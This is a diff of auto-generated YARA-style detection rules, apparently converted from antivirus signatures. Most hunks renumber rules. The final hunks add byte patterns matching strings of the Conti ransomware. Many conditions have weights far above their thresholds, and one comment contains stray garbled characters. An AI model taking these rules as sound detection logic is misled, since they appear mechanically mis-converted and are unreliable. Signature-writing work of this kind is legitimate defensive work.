12 00 21 " @@ -248879,7 +263900,7 @@ rule _InfrastructureShared_19879{ ((#a_54_0 & 1)*18467+(#a_64_2 & 1)*8961+(#a_6c_3 & 1)*25646+(#a_61_4 & 1)*24929+(#a_66_5 & 1)*26214+(#a_01_6 & 1)*1+(#a_31_7 & 1)*0+(#a_74_8 & 1)*18177+(#a_49_9 & 1)*28271+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1) >=18 } -rule _InfrastructureShared_19880{ +rule _InfrastructureShared_21089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -248906,7 +263927,7 @@ rule _InfrastructureShared_19880{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_32_17 & 1)*0) >=18 } -rule _InfrastructureShared_19881{ +rule _InfrastructureShared_21090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -248923,7 +263944,7 @@ rule _InfrastructureShared_19881{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_5a_3 & 1)*16762+(#a_09_4 & 1)*6544+(#a_2d_5 & 1)*31277+(#a_30_6 & 1)*11585+(#a_00_7 & 1)*111) >=3 } -rule _InfrastructureShared_19882{ +rule _InfrastructureShared_21091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0f 00 21 " @@ -248945,7 +263966,7 @@ rule _InfrastructureShared_19882{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-12351+(#a_01_2 & 1)*23179+(#a_72_3 & 1)*5202+(#a_02_4 & 1)*-832+(#a_31_5 & 1)*508+(#a_00_6 & 1)*144+(#a_00_8 & 1)*108+(#a_00_10 & 1)*97+(#a_09_11 & 1)*11408+(#a_2d_12 & 1)*14637+(#a_00_13 & 1)*46+(#a_2d_14 & 1)*23085) >=3 } -rule _InfrastructureShared_19883{ +rule _InfrastructureShared_21092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -248959,7 +263980,7 @@ rule _InfrastructureShared_19883{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*108+(#a_09_4 & 1)*31277+(#a_00_6 & 1)*52) >=7 } -rule _InfrastructureShared_19884{ +rule _InfrastructureShared_21093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -248979,7 +264000,7 @@ rule _InfrastructureShared_19884{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29254+(#a_73_2 & 1)*24912+(#a_5c_3 & 1)*25959+(#a_69_4 & 1)*25968+(#a_72_5 & 1)*27489+(#a_35_6 & 1)*14145+(#a_36_7 & 1)*13369+(#a_37_8 & 1)*13889+(#a_00_9 & 1)*0+(#a_30_10 & 1)*400) >=11 } -rule _InfrastructureShared_19885{ +rule _InfrastructureShared_21094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -248998,7 +264019,7 @@ rule _InfrastructureShared_19885{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*13872+(#a_32_2 & 1)*257+(#a_44_3 & 1)*16695+(#a_37_4 & 1)*16693+(#a_37_6 & 1)*13632+(#a_90_7 & 1)*12354+(#a_38_8 & 1)*12592+(#a_31_9 & 1)*13112+(#a_00_11 & 1)*13176) >=11 } -rule _InfrastructureShared_19886{ +rule _InfrastructureShared_21095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -249009,7 +264030,7 @@ rule _InfrastructureShared_19886{ ((#a_46_0 & 1)*16675+(#a_60_1 & 1)*-28515) >=1 } -rule _InfrastructureShared_19887{ +rule _InfrastructureShared_21096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -249027,7 +264048,7 @@ rule _InfrastructureShared_19887{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*47+(#a_00_2 & 1)*97+(#a_00_3 & 1)*108+(#a_2e_4 & 1)*25961+(#a_6f_6 & 1)*9728+(#a_65_7 & 1)*27747+(#a_6f_8 & 1)*29793+(#a_63_9 & 1)*30322) >=10 } -rule _InfrastructureShared_19888{ +rule _InfrastructureShared_21097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -249049,7 +264070,7 @@ rule _InfrastructureShared_19888{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28015+(#a_69_2 & 1)*24954+(#a_7a_3 & 1)*29797+(#a_6d_4 & 1)*25390+(#a_2e_5 & 1)*25441+(#a_61_6 & 1)*24408+(#a_39_7 & 1)*12297+(#a_90_8 & 1)*11617+(#a_2d_9 & 1)*23085+(#a_39_10 & 1)*12297+(#a_90_11 & 1)*11617+(#a_00_12 & 1)*13) >=1 } -rule _InfrastructureShared_19889{ +rule _InfrastructureShared_21098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -249067,7 +264088,7 @@ rule _InfrastructureShared_19889{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28550+(#a_2d_2 & 1)*23085+(#a_30_3 & 1)*300+(#a_2c_4 & 1)*2+(#a_00_5 & 1)*70+(#a_39_6 & 1)*12297+(#a_01_7 & 1)*-28672+(#a_2d_8 & 1)*2305) >=5 } -rule _InfrastructureShared_19890{ +rule _InfrastructureShared_21099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -249088,7 +264109,7 @@ rule _InfrastructureShared_19890{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27756+(#a_65_2 & 1)*24951+(#a_72_3 & 1)*26473+(#a_69_4 & 1)*25959+(#a_00_6 & 1)*13944+(#a_00_7 & 1)*2+(#a_3a_8 & 1)*19521+(#a_e4_9 & 1)*-29697+(#a_e5_10 & 1)*21760+(#a_01_11 & 1)*-28560+(#a_90_12 & 1)*-24143) >=13 } -rule _InfrastructureShared_19891{ +rule _InfrastructureShared_21100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -249099,7 +264120,7 @@ rule _InfrastructureShared_19891{ ((#a_46_0 & 1)*16675+(#a_12_1 & 1)*9220) >=2 } -rule _InfrastructureShared_19892{ +rule _InfrastructureShared_21101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -249114,7 +264135,7 @@ rule _InfrastructureShared_19892{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*38+(#a_00_3 & 1)*56+(#a_00_5 & 1)*50+(#a_00_6 & 1)*95+(#a_00_8 & 1)*99) >=3 } -rule _InfrastructureShared_19893{ +rule _InfrastructureShared_21102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -249126,7 +264147,7 @@ rule _InfrastructureShared_19893{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_48_3 & 1)*13056) >=4 } -rule _InfrastructureShared_19894{ +rule _InfrastructureShared_21103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -249144,7 +264165,7 @@ rule _InfrastructureShared_19894{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*385+(#a_4f_3 & 1)*29030+(#a_20_4 & 1)*26217+(#a_00_6 & 1)*67+(#a_61_7 & 1)*29806+(#a_69_8 & 1)*14956+(#a_01_9 & 1)*17803+(#a_90_10 & 1)*257) >=8 } -rule _InfrastructureShared_19895{ +rule _InfrastructureShared_21104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 18 00 21 " @@ -249174,7 +264195,7 @@ rule _InfrastructureShared_19895{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_11_3 & 1)*3843+(#a_01_5 & 1)*-31473+(#a_61_6 & 1)*28530+(#a_54_8 & 1)*20307+(#a_00_9 & 1)*-15487+(#a_25_10 & 1)*30576+(#a_3e_11 & 1)*8289+(#a_66_12 & 1)*17503+(#a_01_13 & 1)*2+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_01_17 & 1)*2+(#a_01_18 & 1)*2+(#a_01_19 & 1)*2+(#a_01_20 & 1)*2+(#a_01_21 & 1)*2+(#a_01_22 & 1)*8+(#a_01_23 & 1)*8) >=1 } -rule _InfrastructureShared_19896{ +rule _InfrastructureShared_21105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 12 00 21 " @@ -249201,7 +264222,7 @@ rule _InfrastructureShared_19896{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-30265+(#a_55_2 & 1)*23630+(#a_01_3 & 1)*514+(#a_45_4 & 1)*277+(#a_3a_5 & 1)*19521+(#a_73_6 & 1)*24434+(#a_02_7 & 1)*29477+(#a_72_8 & 1)*27760+(#a_00_9 & 1)*-128+(#a_4c_10 & 1)*64+(#a_01_11 & 1)*-24288+(#a_75_12 & 1)*12082+(#a_65_13 & 1)*27753+(#a_62_14 & 1)*28503+(#a_74_15 & 1)*25954+(#a_73_16 & 1)*28523+(#a_6e_17 & 1)*28276) >=3 } -rule _InfrastructureShared_19897{ +rule _InfrastructureShared_21106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 15 00 21 " @@ -249228,7 +264249,7 @@ rule _InfrastructureShared_19897{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*28271+(#a_63_2 & 1)*6144+(#a_65_3 & 1)*25902+(#a_00_4 & 1)*9+(#a_fc_5 & 1)*-6064+(#a_c2_6 & 1)*16697+(#a_72_7 & 1)*28490+(#a_65_8 & 1)*29532+(#a_6c_9 & 1)*28233+(#a_3a_10 & 1)*24938+(#a_01_11 & 1)*9984+(#a_67_12 & 1)*24950+(#a_66_13 & 1)*14443+(#a_38_14 & 1)*20481+(#a_5c_15 & 1)*28005+(#a_c8_17 & 1)*18437+(#a_01_20 & 1)*-28617) >=8 } -rule _InfrastructureShared_19898{ +rule _InfrastructureShared_21107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -249249,7 +264270,7 @@ rule _InfrastructureShared_19898{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*18012+(#a_6d_2 & 1)*29550+(#a_6e_3 & 1)*29810+(#a_73_4 & 1)*28261+(#a_68_5 & 1)*25972+(#a_64_6 & 1)*29285+(#a_61_7 & 1)*25938+(#a_75_8 & 1)*29541+(#a_63_9 & 1)*30063+(#a_65_10 & 1)*23610+(#a_79_11 & 1)*0) >=12 } -rule _InfrastructureShared_19899{ +rule _InfrastructureShared_21108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -249273,7 +264294,7 @@ rule _InfrastructureShared_19899{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25958+(#a_73_2 & 1)*25458+(#a_65_3 & 1)*29301+(#a_69_4 & 1)*24942+(#a_01_5 & 1)*13111+(#a_61_6 & 1)*28530+(#a_20_7 & 1)*12064+(#a_00_9 & 1)*54+(#a_00_10 & 1)*50+(#a_28_12 & 1)*12288+(#a_90_13 & 1)*17974+(#a_34_14 & 1)*13313+(#a_35_15 & 1)*13365+(#a_36_16 & 1)*400) >=17 } -rule _InfrastructureShared_19900{ +rule _InfrastructureShared_21109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -249289,7 +264310,7 @@ rule _InfrastructureShared_19900{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-32768+(#a_00_3 & 1)*54+(#a_00_5 & 1)*69+(#a_34_6 & 1)*13364+(#a_35_7 & 1)*13360+(#a_36_8 & 1)*12848) >=1 } -rule _InfrastructureShared_19901{ +rule _InfrastructureShared_21110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -249302,7 +264323,7 @@ rule _InfrastructureShared_19901{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*63+(#a_00_4 & 1)*101+(#a_00_5 & 1)*32) >=4 } -rule _InfrastructureShared_19902{ +rule _InfrastructureShared_21111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -249322,7 +264343,7 @@ rule _InfrastructureShared_19902{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26479+(#a_6c_2 & 1)*29537+(#a_67_3 & 1)*21294+(#a_65_4 & 1)*27749+(#a_74_5 & 1)*26990+(#a_73_6 & 1)*24940+(#a_72_7 & 1)*28784+(#a_20_8 & 1)*25972+(#a_4e_10 & 1)*16727+(#a_74_11 & 1)*28528) >=12 } -rule _InfrastructureShared_19903{ +rule _InfrastructureShared_21112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -249343,7 +264364,7 @@ rule _InfrastructureShared_19903{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*292+(#a_61_2 & 1)*31090+(#a_53_3 & 1)*23135+(#a_68_4 & 1)*26999+(#a_73_5 & 1)*27747+(#a_72_6 & 1)*20572+(#a_6b_7 & 1)*29300+(#a_6c_8 & 1)*28764+(#a_74_9 & 1)*28013+(#a_62_10 & 1)*9252+(#a_64_11 & 1)*12082) >=21 } -rule _InfrastructureShared_19904{ +rule _InfrastructureShared_21113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -249363,7 +264384,7 @@ rule _InfrastructureShared_19904{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29303+(#a_6c_2 & 1)*29805+(#a_67_3 & 1)*27750+(#a_65_4 & 1)*28272+(#a_00_5 & 1)*29552+(#a_61_6 & 1)*385+(#a_67_7 & 1)*21100+(#a_78_8 & 1)*29812+(#a_00_9 & 1)*111+(#a_00_11 & 1)*111) >=12 } -rule _InfrastructureShared_19905{ +rule _InfrastructureShared_21114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,49 00 49 00 11 00 21 " @@ -249389,7 +264410,7 @@ rule _InfrastructureShared_19905{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30322+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_3b_11 & 1)*0+(#a_67_12 & 1)*24908+(#a_46_13 & 1)*26465+(#a_73_14 & 1)*28516+(#a_73_15 & 1)*26988+(#a_02_16 & 1)*30720) >=73 } -rule _InfrastructureShared_19906{ +rule _InfrastructureShared_21115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 33 00 17 00 21 " @@ -249417,7 +264438,7 @@ rule _InfrastructureShared_19906{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*24908+(#a_50_2 & 1)*30062+(#a_6d_4 & 1)*28229+(#a_6e_5 & 1)*0+(#a_12_6 & 1)*5632+(#a_75_7 & 1)*17664+(#a_4c_8 & 1)*817+(#a_6d_9 & 1)*25455+(#a_73_10 & 1)*25942+(#a_01_12 & 1)*272+(#a_01_13 & 1)*257+(#a_01_14 & 1)*258+(#a_50_16 & 1)*12320+(#a_d0_17 & 1)*-20320+(#a_00_18 & 1)*50+(#a_00_19 & 1)*68+(#a_00_21 & 1)*67+(#a_00_22 & 1)*48) >=51 } -rule _InfrastructureShared_19907{ +rule _InfrastructureShared_21116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -249431,7 +264452,7 @@ rule _InfrastructureShared_19907{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28564+(#a_00_2 & 1)*14637+(#a_73_3 & 1)*25942+(#a_01_5 & 1)*272) >=2 } -rule _InfrastructureShared_19908{ +rule _InfrastructureShared_21117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -249446,7 +264467,7 @@ rule _InfrastructureShared_19908{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*56+(#a_00_3 & 1)*69+(#a_00_4 & 1)*54+(#a_00_6 & 1)*69+(#a_00_8 & 1)*54) >=3 } -rule _InfrastructureShared_19909{ +rule _InfrastructureShared_21118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -249465,7 +264486,7 @@ rule _InfrastructureShared_19909{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*23553+(#a_65_2 & 1)*25956+(#a_25_3 & 1)*-32473+(#a_5c_4 & 1)*25197+(#a_6e_5 & 1)*28483+(#a_61_6 & 1)*25972+(#a_44_7 & 1)*30059+(#a_65_8 & 1)*8302+(#a_61_9 & 1)*25972) >=10 } -rule _InfrastructureShared_19910{ +rule _InfrastructureShared_21119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 21 " @@ -249486,7 +264507,7 @@ rule _InfrastructureShared_19910{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*30465+(#a_69_3 & 1)*28973+(#a_76_4 & 1)*30465+(#a_65_5 & 1)*28515+(#a_6f_6 & 1)*26473+(#a_90_7 & 1)*18509+(#a_90_8 & 1)*11568+(#a_45_9 & 1)*21325+(#a_7a_10 & 1)*19770+(#a_41_11 & 1)*29285+(#a_54_12 & 1)*8307) >=2 } -rule _InfrastructureShared_19911{ +rule _InfrastructureShared_21120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -249501,7 +264522,7 @@ rule _InfrastructureShared_19911{ ((#a_46_0 & 1)*16675+(#a_0a_2 & 1)*31304+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_3d_6 & 1)*0) >=4 } -rule _InfrastructureShared_19912{ +rule _InfrastructureShared_21121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -249519,7 +264540,7 @@ rule _InfrastructureShared_19912{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50+(#a_5a_2 & 1)*16762+(#a_5a_3 & 1)*16697+(#a_2d_4 & 1)*23085+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_61_7 & 1)*11585+(#a_09_8 & 1)*11408) >=7 } -rule _InfrastructureShared_19913{ +rule _InfrastructureShared_21122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -249539,7 +264560,7 @@ rule _InfrastructureShared_19913{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*9728+(#a_79_2 & 1)*24946+(#a_74_3 & 1)*28271+(#a_74_4 & 1)*29440+(#a_53_5 & 1)*24948+(#a_00_6 & 1)*26212+(#a_65_7 & 1)*1+(#a_90_8 & 1)*516+(#a_0c_11 & 1)*400+(#a_13_12 & 1)*3338) >=13 } -rule _InfrastructureShared_19914{ +rule _InfrastructureShared_21123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -249561,7 +264582,7 @@ rule _InfrastructureShared_19914{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*3076+(#a_01_2 & 1)*1536+(#a_33_3 & 1)*25652+(#a_6b_4 & 1)*28491+(#a_73_5 & 1)*26996+(#a_69_6 & 1)*25445+(#a_65_7 & 1)*385+(#a_00_9 & 1)*121+(#a_00_11 & 1)*108+(#a_00_13 & 1)*100+(#a_6b_14 & 1)*25715+(#a_43_15 & 1)*12801) >=16 } -rule _InfrastructureShared_19915{ +rule _InfrastructureShared_21124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -249584,7 +264605,7 @@ rule _InfrastructureShared_19915{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25966+(#a_01_2 & 1)*27746+(#a_00_4 & 1)*80+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_3d_8 & 1)*0+(#a_32_9 & 1)*8192+(#a_45_10 & 1)*13377+(#a_43_11 & 1)*13634+(#a_30_12 & 1)*17985+(#a_34_13 & 1)*17207+(#a_46_14 & 1)*13878+(#a_44_15 & 1)*21038) >=16 } -rule _InfrastructureShared_19916{ +rule _InfrastructureShared_21125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 32 00 10 00 21 " @@ -249599,16 +264620,31 @@ rule _InfrastructureShared_19916{ $a_45_7 = {35 31 44 38 30 05 00 10 01 56 2e 31 2e 35 2e 40 2e 2e 43 2e 40 2e 52 2e 44 05 00 19 01 44 2e 40 2e 44 2e 30 2e 53 20 44 2e 33 20 40 2e 43 2e 33 2e 35 } //14132 $a_30_8 = {00 12 01 40 2e 4d 2e 40 2e 52 2e 33 2e 31 2e 40 20 3d 3d 3d 3d 05 00 1a 01 4d 2e 40 2e 35 2e 37 2e 33 2e 52 2e 2e 43 2e 40 2e 52 2e 44 20 } //13614 ሀ䀁䴮䀮刮㌮ㄮ䀮㴠㴽Խᨀ䴁䀮㔮㜮㌮刮⸮⹃⹀⹒⁄ $a_3d_9 = {05 00 18 01 50 2e 40 2e 36 2e 2e 35 2e 33 2e 36 2e 55 2e 52 2e 30 20 3d 3d 3d 3d 3d 05 00 1f 01 44 2e 40 2e 44 2e 30 2e 53 20 44 2e 33 20 40 2e 43 2e 33 2e 35 2e 35 2e 30 20 3d 3d 3d } //15677 - $a_00_11 = {0c 00 } //15992 - $a_00_12 = {21 23 48 53 54 52 3a 57 69 6e 33 32 } //12 !#HSTR:Win32 - $a_6c_13 = {61 64 65 72 2e 53 4d 31 34 30 33 32 33 21 4d 54 42 00 01 00 24 01 23 5c 66 75 6d 69 67 61 74 6f 72 69 75 6d 5c 54 65 72 74 73 65 72 5c 4f 6d 73 74 72 75 6b 74 75 72 64 6e 72 01 00 14 01 55 6c 74 72 61 63 65 6e 74 72 61 6c 69 7a 65 72 73 31 34 31 01 00 19 01 2e 5c 42 65 6c 65 6d 6e 6f 69 64 65 61 5c 47 61 73 73 65 64 65 2e 53 6b 72 01 00 28 01 20 5c } //18223 - $a_67_14 = {72 6e 73 73 74 6f 66 66 65 72 73 31 30 36 5c 50 73 65 75 64 6f 61 6c 6c 65 6c 69 73 6d 2e 50 72 69 01 00 23 01 2e 5c 63 61 6c 63 69 6d 69 6e 65 72 5c 55 6e 67 65 6e 69 61 6c 5c 46 6f 72 76 61 73 6b 65 73 2e 69 6e 69 01 00 2b 01 27 36 5c 54 65 6b 73 74 74 65 6c 65 66 6f 6e 5c 45 78 6f 63 61 6e 6e 69 62 61 6c 69 73 6d 5c 56 69 } //24907 - $a_61_15 = {73 2e 4d 6f 72 01 00 30 01 53 6c 61 64 64 65 72 68 61 6e 6b 65 6e 65 73 37 31 5c 54 72 6c 6c 65 61 72 62 65 6a 64 65 72 65 5c 53 6c 61 61 65 6e 62 72 72 65 74 2e 49 6e 64 01 00 38 01 2e 5c 49 6e 74 65 72 6e 65 72 69 6e 67 73 5c 54 69 6e 73 74 75 66 66 5c 65 66 74 65 72 62 72 6e 64 69 6e 67 73 5c 55 6e 65 61 } //25966 + $a_00_11 = {04 00 } //15992 + $a_00_12 = {21 23 41 4c 46 50 45 52 3a } //4 !#ALFPER: + $a_73_13 = {6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 42 00 01 00 20 01 46 00 6f 00 75 00 6e 00 64 00 20 00 25 00 64 00 20 00 64 00 72 00 69 00 76 00 65 00 73 00 3a 00 01 00 36 01 52 00 65 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 20 00 6e 00 6f 00 74 00 20 00 6c 00 6f 00 61 00 64 00 65 00 64 00 2e 00 } //24914 + $a_01_14 = {43 00 61 00 6e 00 27 00 74 00 20 00 77 00 72 00 69 00 74 00 65 00 20 00 6b 00 65 00 79 00 20 00 66 00 6f 00 72 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 00 } //1 Can't write key for file %s + $a_01_15 = {43 00 61 00 6e 00 27 00 74 00 20 00 67 00 65 00 6e 00 20 00 6b 00 65 00 79 00 20 00 66 00 6f 00 72 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 00 } //1 Can't gen key for file %s condition: - ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*12849+(#a_42_2 & 1)*288+(#a_41_3 & 1)*14128+(#a_45_4 & 1)*13313+(#a_32_5 & 1)*8192+(#a_34_6 & 1)*17221+(#a_45_7 & 1)*14132+(#a_30_8 & 1)*13614+(#a_3d_9 & 1)*15677+(#a_00_11 & 1)*15992+(#a_00_12 & 1)*12+(#a_6c_13 & 1)*18223+(#a_67_14 & 1)*24907+(#a_61_15 & 1)*25966) >=50 + ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*12849+(#a_42_2 & 1)*288+(#a_41_3 & 1)*14128+(#a_45_4 & 1)*13313+(#a_32_5 & 1)*8192+(#a_34_6 & 1)*17221+(#a_45_7 & 1)*14132+(#a_30_8 & 1)*13614+(#a_3d_9 & 1)*15677+(#a_00_11 & 1)*15992+(#a_00_12 & 1)*4+(#a_73_13 & 1)*24914+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=50 } -rule _InfrastructureShared_19917{ +rule _InfrastructureShared_21126{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " + + strings : + $a_46_0 = {45 52 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 42 00 01 00 20 01 46 00 6f 00 75 00 6e 00 64 00 20 00 25 00 64 00 20 00 64 00 72 00 69 00 76 00 65 00 73 00 3a 00 01 00 36 01 52 00 65 00 73 00 74 00 61 00 72 00 } //16675 + $a_00_1 = {6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 20 00 6e 00 6f 00 74 00 20 00 6c 00 6f 00 61 00 64 00 } //116 manager not load + $a_00_2 = {2e 00 01 00 36 01 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 72 00 69 00 74 00 65 00 20 00 6b 00 65 00 79 00 20 00 66 00 6f 00 72 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 00 01 00 32 01 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 65 00 6e 00 20 00 6b 00 65 00 79 00 20 00 66 00 6f 00 72 00 20 00 } //101 + $a_00_3 = {6c 00 65 00 20 00 25 00 73 00 01 00 32 01 4b 00 69 00 6c 00 6c 00 46 00 69 00 6c 00 65 00 4f 00 77 00 6e 00 65 00 72 00 20 00 66 00 6f 00 72 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 00 01 00 3c 01 43 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 20 } //102 + $a_00_5 = {61 00 64 00 70 00 6f 00 6f 00 6c 00 2e 00 01 00 3e 01 43 00 61 00 6e 00 27 00 74 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 74 00 68 00 72 00 65 00 61 00 64 00 70 00 6f 00 6f 00 6c 00 2e 00 01 00 4e 01 47 00 65 00 74 00 49 00 70 00 4e 00 65 00 74 00 54 } //114 + $a_00_7 = {20 00 66 00 61 00 69 00 6c 00 73 00 2e 00 20 00 47 00 65 00 74 00 4c 00 61 00 73 00 74 00 45 00 72 00 72 00 6f 00 72 00 20 00 3d 00 20 00 25 00 6c 00 75 00 01 00 3c 01 43 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 70 00 6f 00 72 00 74 00 20 00 73 00 63 00 61 00 6e 00 20 } //108 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_2 & 1)*101+(#a_00_3 & 1)*102+(#a_00_5 & 1)*114+(#a_00_7 & 1)*108) >=4 + +} +rule 